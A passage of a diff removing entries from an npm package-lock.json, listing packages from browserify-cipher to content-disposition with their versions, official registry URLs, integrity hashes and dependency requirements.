-        "evp_bytestokey": "^1.0.3",
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "browserify-cipher": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.1.tgz",
-      "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==",
-      "requires": {
-        "browserify-aes": "^1.0.4",
-        "browserify-des": "^1.0.0",
-        "evp_bytestokey": "^1.0.0"
-      }
-    },
-    "browserify-des": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.2.tgz",
-      "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==",
-      "requires": {
-        "cipher-base": "^1.0.1",
-        "des.js": "^1.0.0",
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.1.2"
-      }
-    },
-    "browserify-rsa": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz",
-      "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=",
-      "requires": {
-        "bn.js": "^4.1.0",
-        "randombytes": "^2.0.1"
-      }
-    },
-    "browserify-sign": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.0.4.tgz",
-      "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=",
-      "requires": {
-        "bn.js": "^4.1.1",
-        "browserify-rsa": "^4.0.0",
-        "create-hash": "^1.1.0",
-        "create-hmac": "^1.1.2",
-        "elliptic": "^6.0.0",
-        "inherits": "^2.0.1",
-        "parse-asn1": "^5.0.0"
-      }
-    },
-    "browserify-zlib": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz",
-      "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==",
-      "requires": {
-        "pako": "~1.0.5"
-      }
-    },
-    "browserslist": {
-      "version": "4.11.1",
-      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.11.1.tgz",
-      "integrity": "sha512-DCTr3kDrKEYNw6Jb9HFxVLQNaue8z+0ZfRBRjmCunKDEXEBajKDj2Y+Uelg+Pi29OnvaSGwjOsnRyNEkXzHg5g==",
-      "requires": {
-        "caniuse-lite": "^1.0.30001038",
-        "electron-to-chromium": "^1.3.390",
-        "node-releases": "^1.1.53",
-        "pkg-up": "^2.0.0"
-      }
-    },
-    "bser": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
-      "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
-      "requires": {
-        "node-int64": "^0.4.0"
-      }
-    },
-    "buffer": {
-      "version": "4.9.2",
-      "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz",
-      "integrity": "sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==",
-      "requires": {
-        "base64-js": "^1.0.2",
-        "ieee754": "^1.1.4",
-        "isarray": "^1.0.0"
-      }
-    },
-    "buffer-from": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz",
-      "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A=="
-    },
-    "buffer-indexof": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/buffer-indexof/-/buffer-indexof-1.1.1.tgz",
-      "integrity": "sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g=="
-    },
-    "buffer-xor": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz",
-      "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk="
-    },
-    "builtin-status-codes": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz",
-      "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug="
-    },
-    "bytes": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
-      "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg="
-    },
-    "cacache": {
-      "version": "13.0.1",
-      "resolved": "https://registry.npmjs.org/cacache/-/cacache-13.0.1.tgz",
-      "integrity": "sha512-5ZvAxd05HDDU+y9BVvcqYu2LLXmPnQ0hW62h32g4xBTgL/MppR4/04NHfj/ycM2y6lmTnbw6HVi+1eN0Psba6w==",
-      "requires": {
-        "chownr": "^1.1.2",
-        "figgy-pudding": "^3.5.1",
-        "fs-minipass": "^2.0.0",
-        "glob": "^7.1.4",
-        "graceful-fs": "^4.2.2",
-        "infer-owner": "^1.0.4",
-        "lru-cache": "^5.1.1",
-        "minipass": "^3.0.0",
-        "minipass-collect": "^1.0.2",
-        "minipass-flush": "^1.0.5",
-        "minipass-pipeline": "^1.2.2",
-        "mkdirp": "^0.5.1",
-        "move-concurrently": "^1.0.1",
-        "p-map": "^3.0.0",
-        "promise-inflight": "^1.0.1",
-        "rimraf": "^2.7.1",
-        "ssri": "^7.0.0",
-        "unique-filename": "^1.1.1"
-      },
-      "dependencies": {
-        "rimraf": {
-          "version": "2.7.1",
-          "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz",
-          "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==",
-          "requires": {
-            "glob": "^7.1.3"
-          }
-        }
-      }
-    },
-    "cache-base": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
-      "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
-      "requires": {
-        "collection-visit": "^1.0.0",
-        "component-emitter": "^1.2.1",
-        "get-value": "^2.0.6",
-        "has-value": "^1.0.0",
-        "isobject": "^3.0.1",
-        "set-value": "^2.0.0",
-        "to-object-path": "^0.3.0",
-        "union-value": "^1.0.0",
-        "unset-value": "^1.0.0"
-      }
-    },
-    "call-me-maybe": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/call-me-maybe/-/call-me-maybe-1.0.1.tgz",
-      "integrity": "sha1-JtII6onje1y95gJQoV8DHBak1ms="
-    },
-    "caller-callsite": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/caller-callsite/-/caller-callsite-2.0.0.tgz",
-      "integrity": "sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=",
-      "requires": {
-        "callsites": "^2.0.0"
-      }
-    },
-    "caller-path": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-2.0.0.tgz",
-      "integrity": "sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=",
-      "requires": {
-        "caller-callsite": "^2.0.0"
-      }
-    },
-    "callsites": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/callsites/-/callsites-2.0.0.tgz",
-      "integrity": "sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA="
-    },
-    "camel-case": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.1.tgz",
-      "integrity": "sha512-7fa2WcG4fYFkclIvEmxBbTvmibwF2/agfEBc6q3lOpVu0A13ltLsA+Hr/8Hp6kp5f+G7hKi6t8lys6XxP+1K6Q==",
-      "requires": {
-        "pascal-case": "^3.1.1",
-        "tslib": "^1.10.0"
-      }
-    },
-    "camelcase": {
-      "version": "5.3.1",
-      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
-      "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
-    },
-    "caniuse-api": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
-      "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "caniuse-lite": "^1.0.0",
-        "lodash.memoize": "^4.1.2",
-        "lodash.uniq": "^4.5.0"
-      }
-    },
-    "caniuse-lite": {
-      "version": "1.0.30001042",
-      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001042.tgz",
-      "integrity": "sha512-igMQ4dlqnf4tWv0xjaaE02op9AJ2oQzXKjWf4EuAHFN694Uo9/EfPVIPJcmn2WkU9RqozCxx5e2KPcVClHDbDw=="
-    },
-    "capture-exit": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/capture-exit/-/capture-exit-2.0.0.tgz",
-      "integrity": "sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g==",
-      "requires": {
-        "rsvp": "^4.8.4"
-      }
-    },
-    "case-sensitive-paths-webpack-plugin": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.3.0.tgz",
-      "integrity": "sha512-/4YgnZS8y1UXXmC02xD5rRrBEu6T5ub+mQHLNRj0fzTRbgdBYhsNo2V5EqwgqrExjxsjtF/OpAKAMkKsxbD5XQ=="
-    },
-    "caseless": {
-      "version": "0.12.0",
-      "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
-      "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw="
-    },
-    "chalk": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
-      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
-      "requires": {
-        "ansi-styles": "^3.2.1",
-        "escape-string-regexp": "^1.0.5",
-        "supports-color": "^5.3.0"
-      }
-    },
-    "chardet": {
-      "version": "0.7.0",
-      "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
-      "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA=="
-    },
-    "chokidar": {
-      "version": "3.3.1",
-      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.3.1.tgz",
-      "integrity": "sha512-4QYCEWOcK3OJrxwvyyAOxFuhpvOVCYkr33LPfFNBjAD/w3sEzWsp2BUOkI4l9bHvWioAd0rc6NlHUOEaWkTeqg==",
-      "requires": {
-        "anymatch": "~3.1.1",
-        "braces": "~3.0.2",
-        "fsevents": "~2.1.2",
-        "glob-parent": "~5.1.0",
-        "is-binary-path": "~2.1.0",
-        "is-glob": "~4.0.1",
-        "normalize-path": "~3.0.0",
-        "readdirp": "~3.3.0"
-      },
-      "dependencies": {
-        "anymatch": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz",
-          "integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==",
-          "requires": {
-            "normalize-path": "^3.0.0",
-            "picomatch": "^2.0.4"
-          }
-        },
-        "braces": {
-          "version": "3.0.2",
-          "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
-          "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
-          "requires": {
-            "fill-range": "^7.0.1"
-          }
-        },
-        "fill-range": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
-          "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
-          "requires": {
-            "to-regex-range": "^5.0.1"
-          }
-        },
-        "is-number": {
-          "version": "7.0.0",
-          "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
-          "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="
-        },
-        "normalize-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
-          "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
-        },
-        "to-regex-range": {
-          "version": "5.0.1",
-          "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
-          "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
-          "requires": {
-            "is-number": "^7.0.0"
-          }
-        }
-      }
-    },
-    "chownr": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
-      "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="
-    },
-    "chrome-trace-event": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz",
-      "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==",
-      "requires": {
-        "tslib": "^1.9.0"
-      }
-    },
-    "ci-info": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
-      "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ=="
-    },
-    "cipher-base": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz",
-      "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==",
-      "requires": {
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "class-utils": {
-      "version": "0.3.6",
-      "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
-      "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
-      "requires": {
-        "arr-union": "^3.1.0",
-        "define-property": "^0.2.5",
-        "isobject": "^3.0.0",
-        "static-extend": "^0.1.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        }
-      }
-    },
-    "clean-css": {
-      "version": "4.2.3",
-      "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz",
-      "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==",
-      "requires": {
-        "source-map": "~0.6.0"
-      }
-    },
-    "clean-stack": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
-      "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A=="
-    },
-    "cli-cursor": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
-      "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==",
-      "requires": {
-        "restore-cursor": "^3.1.0"
-      }
-    },
-    "cli-width": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz",
-      "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
-    },
-    "cliui": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
-      "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
-      "requires": {
-        "string-width": "^3.1.0",
-        "strip-ansi": "^5.2.0",
-        "wrap-ansi": "^5.1.0"
-      },
-      "dependencies": {
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
-        },
-        "string-width": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
-          "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          }
-        }
-      }
-    },
-    "clone-deep": {
-      "version": "0.2.4",
-      "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-0.2.4.tgz",
-      "integrity": "sha1-TnPdCen7lxzDhnDF3O2cGJZIHMY=",
-      "requires": {
-        "for-own": "^0.1.3",
-        "is-plain-object": "^2.0.1",
-        "kind-of": "^3.0.2",
-        "lazy-cache": "^1.0.3",
-        "shallow-clone": "^0.1.2"
-      }
-    },
-    "co": {
-      "version": "4.6.0",
-      "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
-      "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ="
-    },
-    "coa": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz",
-      "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==",
-      "requires": {
-        "@types/q": "^1.5.1",
-        "chalk": "^2.4.1",
-        "q": "^1.1.2"
-      }
-    },
-    "code-point-at": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
-      "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c="
-    },
-    "collection-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
-      "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=",
-      "requires": {
-        "map-visit": "^1.0.0",
-        "object-visit": "^1.0.0"
-      }
-    },
-    "color": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/color/-/color-3.1.2.tgz",
-      "integrity": "sha512-vXTJhHebByxZn3lDvDJYw4lR5+uB3vuoHsuYA5AKuxRVn5wzzIfQKGLBmgdVRHKTJYeK5rvJcHnrd0Li49CFpg==",
-      "requires": {
-        "color-convert": "^1.9.1",
-        "color-string": "^1.5.2"
-      }
-    },
-    "color-convert": {
-      "version": "1.9.3",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
-      "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
-      "requires": {
-        "color-name": "1.1.3"
-      }
-    },
-    "color-name": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-      "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU="
-    },
-    "color-string": {
-      "version": "1.5.3",
-      "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.5.3.tgz",
-      "integrity": "sha512-dC2C5qeWoYkxki5UAXapdjqO672AM4vZuPGRQfO8b5HKuKGBbKWpITyDYN7TOFKvRW7kOgAn3746clDBMDJyQw==",
-      "requires": {
-        "color-name": "^1.0.0",
-        "simple-swizzle": "^0.2.2"
-      }
-    },
-    "combined-stream": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
-      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
-      "requires": {
-        "delayed-stream": "~1.0.0"
-      }
-    },
-    "commander": {
-      "version": "2.20.3",
-      "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
-      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
-    },
-    "common-tags": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.0.tgz",
-      "integrity": "sha512-6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw=="
-    },
-    "commondir": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
-      "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs="
-    },
-    "component-emitter": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
-      "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg=="
-    },
-    "compose-function": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/compose-function/-/compose-function-3.0.3.tgz",
-      "integrity": "sha1-ntZ18TzFRQHTCVCkhv9qe6OrGF8=",
-      "requires": {
-        "arity-n": "^1.0.4"
-      }
-    },
-    "compressible": {
-      "version": "2.0.18",
-      "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz",
-      "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==",
-      "requires": {
-        "mime-db": ">= 1.43.0 < 2"
-      }
-    },
-    "compression": {
-      "version": "1.7.4",
-      "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz",
-      "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==",
-      "requires": {
-        "accepts": "~1.3.5",
-        "bytes": "3.0.0",
-        "compressible": "~2.0.16",
-        "debug": "2.6.9",
-        "on-headers": "~1.0.2",
-        "safe-buffer": "5.1.2",
-        "vary": "~1.1.2"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "concat-map": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
-      "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
-    },
-    "concat-stream": {
-      "version": "1.6.2",
-      "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
-      "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
-      "requires": {
-        "buffer-from": "^1.0.0",
-        "inherits": "^2.0.3",
-        "readable-stream": "^2.2.2",
-        "typedarray": "^0.0.6"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "confusing-browser-globals": {
-      "version": "1.0.9",
-      "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.9.tgz",
-      "integrity": "sha512-KbS1Y0jMtyPgIxjO7ZzMAuUpAKMt1SzCL9fsrKsX6b0zJPTaT0SiSPmewwVZg9UAO83HVIlEhZF84LIjZ0lmAw=="
-    },
-    "connect-history-api-fallback": {
-      "version": "1.6.0",
-      "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz",
-      "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg=="
-    },
-    "console-browserify": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.2.0.tgz",
-      "integrity": "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="
-    },
-    "constants-browserify": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz",
-      "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U="
-    },
-    "contains-path": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npmjs.org/contains-path/-/contains-path-0.1.0.tgz",
-      "integrity": "sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo="
-    },
-    "content-disposition": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
